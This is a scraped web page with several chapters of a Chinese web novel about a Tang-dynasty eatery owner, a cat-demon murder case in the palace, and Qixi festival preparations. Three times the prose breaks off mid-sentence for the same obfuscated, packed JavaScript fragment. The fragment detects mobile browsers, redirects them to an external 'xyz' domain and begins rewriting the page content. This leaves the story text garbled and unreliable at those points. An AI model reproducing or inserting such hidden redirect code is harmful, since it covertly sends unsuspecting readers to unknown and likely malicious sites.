段知微一早靠个鱼汤馄饨又赚得盆满钵满，正坐着打算盘，蒲桃揉揉眼睛走出来，两颊气鼓鼓道：“好啊，娘子和阿盘又一早偷偷起床干活不叫我。” “这不是看你睡得香甜不忍心喊你吗？”段知微讪笑两下。 别说喊了，半夜悄摸把蒲桃扔进永安渠里，怕是这小女娘也醒不过来。 段知微安慰她两声，去掀开风炉锅盖：“给你留了一碗鱼汤馄饨当朝食，不要生气了。”她拿起马勺准备去舀鱼汤，突然顿住。 良久，宣阳坊上空传来段家掌柜中气十足的一声怒吼。 “我鱼汤呢？！” 风炉里空空如也，被人偷得一干二净，这人三番两次来偷吃食，真的是可忍，孰不可忍。段知微对着空气打了套拳,没奈何，只好去街坊对面买了两碟子蒸饼分给了晚起的蒲桃和段大娘。 阿盘在风炉附近逗留了一会，双手捧着个帕子进来，放到段知微面前：“风炉附近掉落了些这个。” 段知微低头一看，是一些白色的，绒绒的毛团。 阿盘道：“似乎是猫毛。”她沉默片刻又道：“猫喜食鱼类，可能是猫偷走了。” 段知微摸摸那团毛绒绒，触感很是柔软舒适，她看向阿盘：“你的意思是，一只猫闻到了鱼汤的香味，伸出爪子揭开了风炉的盖子，又拿了个勺拿了个碗，把鱼汤盛走了？” 阿盘：“......” 偷吃食的小偷按下不表，食肆的花椒缺了些货，段知微驾着驴车去了趟东市，待回来的时候，见段大娘、阿盘、蒲桃三个人在门口拿了个胡床挤着排排坐，见她回来，赶忙挤眼抹脖子指了指店内，又朝着她使眼色。 段知微莫名其妙踏入店里，店里的没有一个食客，只一个人歪靠在塌上饮新丰酒。 此人面容如玉，眉毛修长，一双狐狸眼狭长微微上扬。他穿一身雪色澜袍，腰间挂着金琦蹀躞带。这澜袍似乎用的织金锦，材质轻盈，在他身上更显凛冽。 段知微见此人衣着不凡，腰间又挂着银色鱼袋，便知他身份不同寻常，于是问道：“足下是？” 这人蓦地看向她，一双琥珀色的瞳仁仿佛能够洞察人心，他不动声色地打量了一下段知微，而后不紧不慢道：“在下独孤玠，捉妖司律令。” 段知微虽早从袁慎己那听闻朝廷在暗里设了捉妖司，倒是头回见到真人，不由悄悄往后退了一步问道：“独孤律令来妾身这样的小食肆，请问有何贵干？” 他换上幅正经神色道明了来意。 昨夜大明宫内文昌门附近死了一个宫女，死状凄惨，胸口一个黑色的洞，心脏不翼而飞，最重要的是，脖子上有猫爪留下的印子。 猫鬼之蛊，最是邪恶。就是在猫死了以后变成猫鬼，术士便会利用猫鬼去杀死他指定的人，前朝独孤皇后突然病倒，相传便是独孤皇后之弟独孤陀以此蛊害她，被这种蛊诅咒的人会心腹刺痛，那是猫鬼在啃食人的心脏。 段知微听得不寒而栗，却也莫名其妙：“妾身只是在这宣阳坊经营一家食肆，这与我有何干系？” 独孤玠伸出手，苍白修长的手指间是阿盘朝时找到了那团猫毛：“此猫曾在这间食肆停留，某需段娘子相助。” 什么猫鬼吃完人的心脏还能偷喝鱼汤啊！ “这个嘛......”段知微略感为难，腹诽道：“我一不是道姑、二不是巫女，怎想起来找我帮忙。” 她觉得捉妖之事过于危险，还没有钱拿，却也不敢明着得罪朝廷大员，正低头想着要找什么借口推掉。 独孤玠一眼看清她心中所想，只扬起一个恶劣的笑道：“此猫鬼既然来此食肆盘桓，或许夜间又会出来作恶，到时候谁第一个受难，段娘子心中可有计较？” 段知微大惊失色，食肆里现在四个娘子，一个比娘子还清秀貌美的书生，都是潜在受害对象啊，她恨不得抱上独孤玠大腿：“大师，千万救我！” 朱红色的宫墙巍峨而庄重，金色琉璃瓦在阳光下熠熠生辉，段知微坐在马车里完全不敢呼吸。 她竟然真的跟着独孤玠混进了大明宫内，这座大唐帝国的心脏今日已饱经沧桑，只能依稀辨别其轮廓模样畅想当年辉煌，可如今她却穿梭了千年，稳稳踏在这座宫殿的青石板上。 段知微正心潮澎湃，马车却在春明门戛然而止， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426921|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口值守的侍卫一脸凶神恶煞的走过来盘查，还要上马车搜查。 独孤玠拿出令牌，换下那副不着调的神色，换上一副冷硬表情：“独孤玠，捉妖司律令，接到圣人密旨，来宫中调查猫蛊一案，谁若耽误此案调查，某必要去圣人面前参上一本。” 捉妖司一向神秘莫测，独立于三书六省，捉妖司律令更是直接归圣人管辖，况且萧妃死前“我为猫鬼，阿武为鼠”的诅咒历历在目，谁敢这个时候去触圣人的逆鳞，守卫只好低头抱拳道歉，而后放行。 宫女红药死在太液池自雨亭附近，阳光明媚的日子里，亭子的影子投射地上如同无数的雨滴。 独孤玠拿起一支毛笔，开始在地上画上符咒。 一簇红药突然从土地里绽放开来，如今盛夏，四处一片绿意，百花都未绽放，偏偏这一簇红药开了无数红通通的小花瓣。 花瓣开始朝着某个方向飘去，独孤玠跟着段知微追着花瓣走到太液池附近的一个门桥，段知微环顾一圈道：“什么都没有啊。” 独孤玠蹲下来，似乎地上有些什么东西。 段知微问道：“又是猫毛吗？” 独孤玠伸出手，段知微凑近一看。 是白发，很长的白发。 宫中宫女满二十五便能放出宫去，不会是宫女的白发。 独孤玠略一思忖道：“宫女红药死去的时候，身上蝉蚕香的气息。” 蝉蚕香，来自交趾国的贡物，唐宫中又称“瑞龙脑”，别说红药，她侍奉的贵人不得圣宠，也未能有此香气。 只是圣人后宫的妃嫔们一簇一簇，青春年少，如花美貌，各个更是一顶一的乌云鬓发，哪里来的白发？ 独孤玠眯了眯眼道：“看来应该是那个地方。” 段知微：“哪个地方？” 他拖着段知微急速往后殿某一个地方走，段知微莫名其妙被拉住，只好被迫跟他一起走。 一列金吾卫队列与他们擦肩而过，为首的人顿了一顿，突然转身朝着他们大步走来。 段知微见有外人，吓得不敢抬头，却听到一个熟悉的声音响起：“段娘子？” 段知微抬头，袁慎己穿着全幅明光甲，配着寒刀，站在她面前。 她换上了宫女的葛浣纱半臂襦裙，梳个一个交心髻，乍一看，与寻常宫女并无两样。只是袁慎己从旁边擦肩而过的时候，莫名感受到一股熟悉感。 段知微提起裙子跑到他旁边：“都尉近日可好？” “巡防宫闱不力，被圣人责罚了一通。”一番风凉话从旁边传出来。 袁慎己这才看到一旁抱着扇子的独孤玠，冷声道：“原来是独孤律令。” 段知微把事情跟他一说，他朝着独孤玠道：“捉妖司神通广大，律令何苦为难一市井娘子。” 独孤玠道：“关你何事？” 气氛一度降到了冰点。 段知微只好硬着头皮强行扯开话题：“我们现在要去哪里啊？” 独孤玠冷哼一声，只回了两个字：“冷宫。” 19. 第十九章 冷宫在整个大明宫最荒凉的一角，远离圣人和其他宫殿，以减少对宫廷的干扰。 明明是炎炎夏日，走在这宫殿的巷道间，段知微还是觉得有些冷，这里杂草丛生，很少有人踏足，寂静之间，只有风过的声音， 实在是太寂寞了啊，走在其间段知微被绕得头晕眼花，她觉得一股寒气从脚底直直窜到了头顶上。 于是段知微只好问前面看上去气定神闲的独孤玠：“我们跑到这儿来作什么？” 独孤玠看她一眼道：“到了就知道了。” 冷宫偏僻，出入的门也只有侧面一个柏木破门，门口两个侍卫在值守，他们显然认识袁慎己，只查看了眼令牌就放他们进去了。 一位道姑从冷宫里走了出来，用阴森眼神望了他们三个一眼，而后出了门。 段知微回头望一眼那个道姑，扭头问袁慎己：“这里怎么会有道姑呢？” 袁慎己想来对宫闱内的事情也十分清楚，不假思索地答道：“是给废妃布道的道姑。” 看上去不太像个好人。 逐渐往深宫里头走，连风声都听不见，只有三个人的脚步声。 空气都开始像琼脂一样滞涩，一股奇异的血腥味伴着蝉蚕香的气息传了过来。 独孤玠：“来了。” “什么？”段知微愣了一下，就看到一团黑色的雾气从远处飞过来。 袁慎己反应倒是很快，一下子拉过她，自己寒刀出鞘，过去跟那团黑雾缠斗起来。 段知微慌乱躲进灌木丛里，只听到他的剑与怪物激烈碰撞，铮铮作响的声音。 那团黑雾中突然闪现两颗诡异的绿色亮点，似乎是眼睛。段知微想起那位强大的捉妖司律令，心想此人会施展怎样强大的术法来捉妖，扭头一看，人不见了。 “独孤玠人呢，临阵脱逃了？”段知微从灌木里探出了身子。 那团黑雾注意到了她，一个闪身越过了袁慎己，直接朝着段知微疾行过来，而后竟然口吐人言，声音如少女般甜蜜：“好娇俏的娘子，心脏一定非常好吃。” 段知微赶紧摆手：“不不不，我不好吃不好吃。” 袁慎己被那团黑雾伤到左肩，血水染红了明光甲，见那黑雾放弃自己朝着段知微冲了过去，咬牙重新捡起寒刀，直冲黑雾而去。 寒刀刺入黑雾里，却如同刺进了空气，黑雾四处消散了一会，又重新聚集起来，形成一个锋利爪子的形状，再次给了袁慎己一记重击。 那团黑雾看上去极尽得意，桀桀冷笑了几声，转身又朝着段知微扑了过去，她只好低着身子闭着眼抱住了头。 等了半刻，并没有想象中的疼痛发生，段知微悄悄睁开眼睛，一团白色的光自远处如流星坠过来，击中在黑雾之上。 黑雾传出一阵子惨叫，黑雾边缘开始慢慢松动，如同稀释过的浓墨渐渐变得稀薄，丝丝缕缕的黑色雾气若游丝一般四处飘动，然后渐渐淡去。 那阵白色的光中，一只浑身雪白的猫现身在这团雾气之中，这猫一身的白像雪一样，眼睛圆滚滚，鼻头粉嫩，很是漂亮可爱，就是看上去很胖，没什么脖子了。 “它便是在食肆偷了你鱼鲊的猫妖。”独孤玠不知道从哪儿又冒了出来，后面被迫跟着一名满头白发的老媪。 段知微忙着去扶起袁慎己，对他临阵脱逃很是不满。 独孤玠挑挑眉道：“某去捉这次的罪魁祸首了。”他指了指后面那个一脸阴毒盯着段知微的老媪。 冷宫中的废妃王婕妤，听了道姑的蛊惑，据说月圆之夜窃取年轻娘子的心脏，意图重回青春美貌。 “不过呢”独孤玠顿了一顿，露出个讽刺的笑容来：“不知从哪本糟粕上学来的猫蛊之术，学了个四不像。” 那只白色的猫慢悠悠凑过来蹭到段知微腿上。段知微很是喜欢猫，蹲下来把猫抱进怀里：“那这只呢？” 金华之猫，据说是盘踞浙江金华一带的大妖家族，白日潜藏在深山幽谷或是佛殿之中，暗夜则蹲坐在屋顶之上，对月吸收月亮精华。 那金华猫突然对着独孤玠口吐人言，听上去很是愤怒，但竟然是稚嫩的小童声音：“你这个老狐狸，知道我必须现身还恩，才一直把段娘子带在身边的吧！” 独孤玠懒洋洋的抱着折扇：“妖怪受了人的恩惠，便是与人签订了契约，必须要将恩情报还了才行。” 金华猫贪恋段知微食肆的美味吃食，一时间没忍住偷吃了许多，这便是受了段知微恩惠，某种程度上也是与她签订了契约，在段知微遭受危险的时候必须现身救她以此来还恩。 这也是独孤玠亲自到食肆一定要带上段知微的原因。 金华猫很是怨念，圆滚滚的黑眼睛瞪着他，一双粉嫩的爪子不停在空气挥舞：“我说你这个老狐狸，真是一点点力气都不想出啊，明明自己身体另一半血液强大到诡异......” 话没说完，独孤玠望了它一眼，它立刻嘴巴被迫紧闭，只能呜呜呜半天。 段知微见这金华猫实在可爱，抱进怀中狠狠摸了两下道：“我就知道这么可爱的小猫咪不可能是什么邪恶的妖怪啊。” 不过是偷吃了些鱼鲊，吃就吃了嘛，那鱼鲊又不值几两铜钱。 独孤玠看她一眼，慢悠悠的说：“有古籍记载，人长时间与金华之猫待在一起，头发会全部脱光。” 段知微把猫递给他：“还给你。” 金华猫：“？那是谣言好吧，那个老货本来就脱发，究竟关猫什么事啊喂！” 独孤玠望一眼猫，很是嫌弃的撇撇嘴往后退了两步：“我可不要这只猫。” “前两日金华那边发了封信过来，说家族一只年幼的金华猫在九江郡走失，让我在长安留意一下。” 那猫蹬腿：“我不回去，我要留在段家食肆吃美食。”它两眼放光道：“九江郡的落头娘子逢妖就推荐长安的段家食肆，我可是走了好久的路才找到这儿的。” 段知微大惊失色：“她到处跟妖怪推荐我家食肆？” 这还得了。 独孤玠这回倒是认真看向了段知微：“飞头蛮那样的大妖都有结识，某倒是小看了你。” 他理了理袖子：“既如此，这只猫就暂且由段娘子收留了，直到金华家族来长安之前。” 段知微果断摆手：“我拒绝，我不要脱发。” 金华猫很是不满：“那是谣传，是谣言，我可是吉祥与招财之猫。” “吉祥与招财？”闻得这话，段知微满脸慈爱的摸了摸猫头：“如此可爱的猫怎能流落街头，既如此，妾便收养了吧。” 金华猫很是嫌弃的看着她：“......是不是有点太虚伪了。” “那今日做一份芙蓉锦绣鱼片好了。”段知微很快说道。 金华猫：“......我跟你走。” 眼下已快到午时，独孤玠拉着施行猫蛊的老媪离开了，段知微肩头趴着猫，拉着袁慎己出宫了。 幸而食肆有阿盘她们顶着，生意还能维持下去。蒲桃很喜欢那只胖胖的大白猫，抱着不肯撒手。 段知微回来的路上已经跟金华猫说过，不能在别人面前口吐人言，因此它被蒲桃抱着，挤成了一个猫条样子，也只无奈的喵了两声。 蒲桃跑前跑后缠着段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426922|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大娘给新来的猫猫逢一个猫窝。 段知微来做一份芙蓉锦绣鱼片，挑一只肥美鲜活的鱼去胸刺和鱼皮，成片刮下来，鱼肉滑溜醇厚，再加入花椒、盐、鸡蛋清、香油一起腌制。 她想了一想，又从柜子深处拿出点胡椒洒了进去。 此刻的鱼片色泽白洁，如同芙蓉花瓣一般细腻，猫蹭着她的腿，着急的喵喵叫着， 段知微拿起一块腌制好的鱼片蹲下身，金华猫很是开心的一口吞了，又被蒲桃发现，一把子抱着拖出了厨房。 段知微采取了滑炒的方式，将鱼片轻轻滑入锅中，加入适量清水，再放入一些香菇丝、芹菜丝一起熬煮。 这晚，段大娘从库房捧出一个很大的方形食案，摆在院子中央，所有人围坐在食案旁。 段知微把一个大锅直接放到了食案中央，打开锅盖，一股浓郁的鲜辣之气窜了出来。 一锅芙蓉锦绣鱼片，汤汁黄亮鲜浓，里头香菇丝、芹菜丝和酸菜垫在底下颜色鲜艳，滑嫩的鱼片挨挤在汤中若隐若现，酸辣风味与鱼肉的鲜活相互交融。 段知微先舀上一碗递给了在脚边趴着的金华猫道：“很烫哦，小心着吃。” 夹起一块鱼片，十分滑嫩，进入口中瞬间在舌尖散开，酸菜爽口，吴茱萸辛辣，喝上一口汤，浓郁的辣味刺激着味蕾，让人胃口大开。 段大娘道：“这个就酒才好。”转身进库房拎出一壶新丰酒。 大家都喝得很有些醉意。 夏夜没有白日的闷热，有微风轻轻吹过带来丝丝的凉意。院落里的桂花树上蝉鸣阵阵，蟋蟀在草丛里欢快地歌唱。 段大娘已经趴在食案上酩酊大醉，阿盘抬头在看月亮，蒲桃低头疯狂地摸着猫，书生甄回举一壶酒激情澎湃地在念：“我歌月徘徊，我舞影零乱。” 段知微饮下最后一口酒，抬头看星空，此处没有城市那种路灯，每夜的星星都很明亮，如同无数璀璨的宝石镶嵌在深蓝色的天幕上，牛郎星织女星分隔在天河的两侧。 很快就要乞巧节了啊...... 已经是半夜，阴暗地牢里，哭闹狂喊并铁索“哐啷”的声音都已熄灭。牢头和狱卒得知今夜有个了不起的大人物要来访，今夜也没敢喝酒，倒衬的狱牢更加灰暗凄冷。 门开了，往日目中无人，不可一世的提刑司大人此刻腰哈的比刚熟的虾子还要弯，一边在前面引路，一边不住的请后头的人小心台阶。 那后头的人也不客气，十分自在的享受着吹捧。借着忽明忽暗的烛光，隐隐可见他一身宦官的常服和阴柔的脸。 来人也不说话，只是慢条斯理的从口袋里拿出一小瓶鸩酒，轻轻丢在老媪面前，那老媪打了个冷颤，只觉全身发软，瘫坐回地上。片刻后，她手抖着接过那一小瓶鸩酒。 而另一边，皇宫里仍是明灯高照，小宫女红裳手捧一红木盘，匆匆走到一处殿外。 她轻轻推开朱漆大门，寝宫内很亮堂，一颗硕大的夜明珠如满月般熠熠生辉，嵌铜琉璃香炉在底下似有若无的轻吐御赐的零陵香，取淡烟笼月之意。因是夏天，宫人早早撤走了厚重蜀锦地衣，露出底下铺就的和田白玉，一大块冰搁在盆子里，两宫女正站在冰块两侧轻轻扇风，给殿里带来凉意。 一绝色女子坐于梳妆台前，细细篦着浓黑的秀发。红裳跪下递上手上的东西道“主子，这是从岭南快马加急运来的荔枝，圣人头一个就赐到我们这儿了。” 那荔枝颗肥肉厚，放置在金缠丝盘子里更显娇嫩可口。 只是那女子皱皱眉：“甜腻腻的，谁吃这个”，她丢下一句，重又把注意力放到自己头发上。 20. 第二十章 乞巧节降临之际 乞巧前夕，长安城已经开始热闹起来了，城中人家早已摆上香桥，扎上五色线织就的各色鲜花，富贵人家甚至重金以雕木彩绸扎出彩楼。 蒲桃最近忙得要命，跟着小伙伴们去了趟泾河，取来河水与自家井水融合，此水名为鸳鸯水，用来七夕验巧。 段大娘看上了一匹名为“鹊桥”的绸缎，每日懒觉也不睡了，一起床就跑去绸缎肆跟老板讨价还价。 段知微则准备做顺应七夕时节的点心，巧果，只是她从未吃过这种点心，便琢磨着去趟西市，看看别人家是如何做的。 蒲桃拿着自己的巧盒跑过来表示要跟着她一起去。 那巧盒之中便是搬家之日从房梁上蛛网上找到的喜蛛，蒲桃成日拿在手上，只是喜蛛再怎么喜也是蜘蛛，段知微只好让她把巧盒放下再一起去西市。 蒲桃打开巧盒，露出正在吐丝的八脚蜘蛛对着段知微道：“可是娘子，你看她多可爱啊。” 段知微差点昏过去。 越往西市的中心越繁华，地段越好，商铺越多，人流越大。有气势恢宏的酒楼，里头散发出一股诱人的酒菜香。 有胡人师傅在卖古楼子，赤膊甩着手上的面团，手脚麻利的填进羊肉馅料，撒上芝麻，放进炉子里烘烤，蒲桃直直沿着口水，段知微拿起几纹衬钱买一个递给蒲桃，刚出炉的胡饼表皮金黄酥脆，咬一口肉汁四溢，鲜香可口。 有男子手上拎着壶酒，围聚一起评诗论画，也有女子头戴浑脱帽，脚踏高腰靴，扮成男子模样，却没经得住诱惑，走到卖脂粉的摊子前拿起一盒子玉容霜，开始跟摊主讨价还价。 终于找到了一家卖甜点心的铺儿，台柜上切着几样新鲜糕点，帘上垂下几个竹牌子上写着该铺出售的几样点心：状元饼、沙仁糕、银丝糖、澄沙团子。 其中一样特特标注了乞巧果子，也称笑靥儿。段知微向着掌柜道：“来份笑靥儿。” 掌柜是个爽利的妇女，很是热情问道：“要何图样的？妾身家有捺香、方胜的。”她顿一顿道：“若娘子喜欢，也可定制各色奇花异鸟的，只不过吗，价钱肯定是要稍稍高了些的。” 段知微看了半日最后挑了半斤捺香半斤方胜的，带着蒲桃找了个茶坊坐下来。 巧果是红色的，很明显是加了红曲染色，上面印着方胜、捺香的纹路，霎是好看，里头裹着的是绵密细腻的红豆沙，吃起来也是软糯香甜，很是好吃。 段知微看着巧果研究了半天,还是没什么灵感，蒲桃却拉着她的衣角，说是难得来西市，一定要去傀儡棚子里看一出牛郎织女的木偶戏。 段知微趁机教育蒲桃：“别觉得这种故事感人，那种偷看织女洗澡的登徒子，可不是什么好人，织女没了羽衣，被迫嫁给了这个牛郎，还生了两个孩子，只能依附着他生活。” 她大叹一口气：“仙女在天上成天无拘无束，锦衣华服、珠玉佩珰取之不尽用之不竭，结果被这牛郎搞得只能在人间灰头土脸的织布了。” 段知微自觉自己很有些教书育人的气质，对着小蒲桃一顿耳提面命，岂料蒲桃抬头眨巴眼睛看她，而后问道：“娘子说的是什么故事啊，我怎么从未听过？” 蒲桃看上去很是困惑：“难道不是天河之东有织女，嫁与河西牵牛郎，织女耽于男色，贪欢不归，废弃织纴才使得天帝震怒，只许一年一期相会吗？” “耽于男色？”段知微很震惊，这是什么版本的牛郎织女？ 傀儡棚是一个位于西市一角的白色棚子，里头已经挤满了各色观众，班主站在最前面一个木箱子上，唱个大喏，而后开始操纵几个提线木偶。 几个木偶在丝线的操纵下开始翩翩起舞，看上去极是生动，惹得观众一片叫好。 这仍然是一个牛郎织女的故事，牛郎向天帝借了两万钱迎娶织女，又不说什么时候还钱，天帝震怒，将牛郎驱赶，只许牛郎织女每年一期一会。 嗯......这似乎是一个借了老丈人钱逾期不还成了老赖的故事。 看完傀儡戏也差不多到申时，蒲桃心满意足低吃着巧果往回走，而后问段知微：“娘子，你说的那个偷衣服的牛郎，是哪儿的牛郎啊。” 段知微自己也很想知道，到底是哪个家伙编写的偷衣服的牛郎啊，还不如欠老丈人钱不还的那个牛郎。 路边有卖货郎推着独轮小推车，沿路叫卖，那车上有沾竿、竹猫儿、大小采莲船各色小儿玩具铺的满满当当，最受瞩目的当是放在最中间的磨喝乐娃娃，就是一对头戴短檐珠子，身着红半臂青纱襦裙的、手执莲花莲叶的男女童子。 这娃娃做的精致，底下有彩绘的底座，上头还笼着一层红纱半透明的罩子， 小推车上还有几叠栏杆，上头挂着各种式样的金缕小衣，用来给磨喝乐娃娃换装，这衣服式样有杏雨梨云样式的，鱼书雁帛样式的，段知微上手摸了摸，只觉用料比自己身上的麻布衫子还要好些。 这卖货郎各个都是人精，见蒲桃一双眼睛巴巴地盯着看，立刻热情地给她两介绍起来：“两位娘子请看，这娃娃用料特别足，头上是珠翠衣帽，手上戴的是金钱钗镯。” 卖货郎又顺手拿起其中一个笑吟吟的娃娃，直接演示了起来，娃娃身上装着几个机关，可以活动，她笑得憨态可掬的敛手给蒲桃作揖，非常的生动可爱。 这下蒲桃更是走不动道了。 段知微自己童年时期也非常喜欢玩娃娃，很是了解蒲桃的心情，不就一个娃娃而已，能值多少钱，她当下就解下腰间荷包很是豪爽的问道：“这磨喝乐娃娃价值几何？妾要了。” 卖货郎得了生意，高兴地搓手道：“娘子真是好眼光，这娃娃通身都是佛手香雕刻，胡商大老远从波斯运过来的，运了好几个月就为了赶上长安的乞巧节，都不知跑死了几只骆驼。” 一股不详的预感涌上了段知微的心头。 “只要两贯钱。”卖货郎赔笑道。 “妾要了......吗？”段知微突然卡了壳，这也太贵了一些，只是说出去的话泼出去的水，难得孩子想要个玩具，贵就贵点吧，钱这种东西嘛，再怎么着也能再赚回来。 这么自我安慰一番后，气也顺了，心也宽了，段知微心满意足地准备掏钱，结果被小蒲桃一扯袖子道：“我不喜欢这个，不买了，很快就要宵禁了，娘子我们早些回家吧。” 段知微被蒲桃拉着袖子，不明所以的走了。 蒲桃安慰她：“这磨喝乐要两贯钱，我们恁屋费一年才十贯钱，待娘子在东市开了全长安最大的酒肆，娘子再给我买一只磨喝乐娃娃好了。” 段知微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14430320|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感动于蒲桃的懂事，又对她发下的“全长安最大的酒肆”的鸿愿哭笑不得，只琢磨着要不乞巧的正日子自己再去趟西市，悄悄把娃娃再买回来好了。 回了食肆，里头坐满了客人，阿盘倒是没说什么，只是段大娘忙得脚不沾地，冲着段知微一通数落，段知微只好讪笑着钻进火房。 一般到了夏日，食客的食欲减少，食肆生意会下降，还好段知微熬了几夜新想出了几样凉拌菜。 一道白切鸡是阿盘提出来的，岭南的佳肴，凉着吃不会热，这鸡外表油亮，皮黄肉白，让人看着就舒爽。 鸡肉也是十分紧致不肥腻，不加其他重口调味料，只佐以葱姜蒜，因此更能凸显鸡肉本身的鲜美，咬上一口鲜嫩多汁，十分爽滑。 另外便是酸甜口的糖醋排骨很是适合夏天，色泽红亮，裹满浓郁糖醋汁，能让人食欲大增 再来一道拍黄瓜清爽适口。油炸花生米颗颗饱满，金黄油亮，再细细撒上少许盐粒，咸咸的口感更是提升了油炸花生米的风味，很适合当下酒菜。 门口的大锅里浸着卤了一早上的猪耳朵。段知微进了火房，将其切得厚薄均匀，浇上香醋，再搭配些香菜碎和蒜末，端了出来。 这些日子袁慎己白日在练兵场练兵，下了值便和苏莯一起到食肆来用暮食，段知微每每靠近他都能闻到他身上的澡豆香。 苏莯悄悄跟她咬耳朵：“都尉下了演武场都要去洗个澡换身衣服再过来。” 段知微对这位武将爱干净的作风很是佩服。 一盘卤猪耳端到袁慎己面前，段知微道：“上次在大明宫中，多谢都尉看顾，妾十分感激，今日这顿我做东了。” 袁慎己道声谢，只沉声拒绝道：“段娘子客气，守卫长安乃袁某职责所在，谈不上看顾。” 段知微莫名被噎了一下，只好笑笑转身去打酒。 袁慎己夹一块卤猪耳，耳肉部分软糯有嚼劲，软骨脆嫩，香醋则解了猪耳的油腻感，很是好吃，不禁多吃了几块。 蒲桃兴致勃勃从门外跑进来对着段知微道：“娘子，娘子”她把手中一个有些许灰败的磨喝乐娃娃举起来给段知微看:“我打醋回来，就见这只娃娃坐在外面的香椿树下，我可以养她吗！” 段知微正忙着洗碗，闻言把手胡乱在蔽膝上擦一擦，接过娃娃定睛一看，那娃娃与西市卖货郎所贩的娃娃看上去也并无二致，只是过于破旧了些，身上一层灰尘，穿着粗麻布衣，也不像西市的娃娃那样通体佩上真珠翠玉的华丽。 而且西市上的娃娃大都一副憨态可掬的模样，这娃娃却是微微扬起嘴角，眼睛眯成一条缝隙，这是一个让人琢磨不透的笑容，让人看着不太舒服。 蒲桃见她不答话，有些失落起来：“不可以吗？” 段知微看她十分期待，不忍让她失望，又想着不过是个破落的，别人不要的娃娃而已，拿了应该也没事吧，只好点点头说：“你要好好珍惜哦。” 蒲桃拿着娃娃欢呼着走了，跑去缠着段大娘要给娃娃缝上一身最好的海波纹青裙。 段大娘最是爱干净，见那娃娃蒙尘破败，拉着蒲桃就要去后院给娃娃清洗一下。 这边差不多暮食要结束了，段知微准备收拾收拾关门，却听得后院一声尖叫，她赶忙和阿盘一起跑进了后院。 21. 第二十一章 待她们跑到后院的时候，段大娘已经心有余悸的倚着井边抚着心口喘气。 段知微跟阿盘两个人一个一只胳膊把她拽起来，问一旁的蒲桃发生了什么事。 蒲桃看上去很是着急：“大娘想去井边打点水，结果脚一滑差点掉进去。” 段知微四处扫视一圈，这宣阳坊的商肆是刚刚租赁下的，井边别说有青苔，就连杂草都没来得及生上几根，怎么会突然滑倒呢，她又想起那个看上去略微笑容诡异的娃娃道：“那个磨喝乐呢？” 蒲桃指了指井，看上去有点伤心：“掉进去了。” 段大娘本来拎着娃娃想给她洗洗，自己却脚一滑差点摔下，手中的娃娃也随着身体重心前移失手掉进了井里，发出了巨大的扑通一声。 段知微朝着井里看过去，幸而是木头制成的娃娃，没有沉没下去，浮在井面上漂荡。 按照段知微的想法，这娃娃怎么看怎么笑得诡异，不像是会带来吉祥如意的物件，少掉了最好，无奈蒲桃喜欢，而且掉在井里也影响用水，只能想办法捞出来。 段知微叹口气，看向了在屋檐上晒太阳的金华猫。 金华猫：“？” 阿盘拿来一些柔软布条，给猫绑上，然后段知微把猫小心翼翼吊进井里：“加油啊，成功了今晚给你炙些小鱼干。” 看着小鱼干的份上，金华猫只好一只猫下了井里，用爪子扒着，把那个娃娃捞了上来。 那娃娃看着比摔了一跤裙子上染了青泥的段大娘倒霉多了，本来脸上就脏，染了井水污渍多了一大块，看上去又惨又好笑。 这样一看，这娃娃笑得眯成一条缝的眼睛也没那么怪异了。再说了，要真是被诅咒的娃娃，怎么会把自己搞得掉进水里。 这么安慰了一下自己，段知微把娃娃随手擦了擦，还给了蒲桃，转身跟阿盘一起把还在嗷嗷叫的段大娘搀回了屋内。 小插曲解决了，段知微就继续伏在塌边上想乞巧节的菜单。 火房里已经备下了各色新鲜瓜果，井水湃了枸橼和木瓜，只待乞巧那日被雕成奇花异鸟的模样。 段知微打开了西市买来的那盒子巧果儿，时间过的有些长了，巧果儿已经干巴巴了，表面一层裂痕，里头的红豆也开始泛渣，口感真是不怎么样。 于是段知微决定放弃从印花上做文章，打算做一份双色巧果儿，毕竟是乞巧牵牛织女相会，好事自然要成双。 在西市逛了半日，段知微发现市面上卖的那种用来应巧的巧盒儿都各式各样，有漆器描金的、有掐丝银嵌宝石，虽然段知微偷偷觉得这样的盒子用来装喜蛛也太浪费了，架不住是真的好看，卖这巧盒的货摊边基本都围着五色斑斓的仕女。 这样对比下来，装巧果的盒子也太朴素了，拿出来送礼实在是不算体面。便准备去买一些轻巧又好看的竹篮子装巧果。 一堆儿竹篮子、五色线和彩笺买了回来，段知微喊上了全体女员工围坐在一起，用五色线盘上一些流苏，用来给竹篮子做点缀。 自己则拿了一张彩笺提起笔要写一些有乞巧氛围的诗句，墨已磨好，笔已经握在了手里，她想了想，又把笔放了下来。 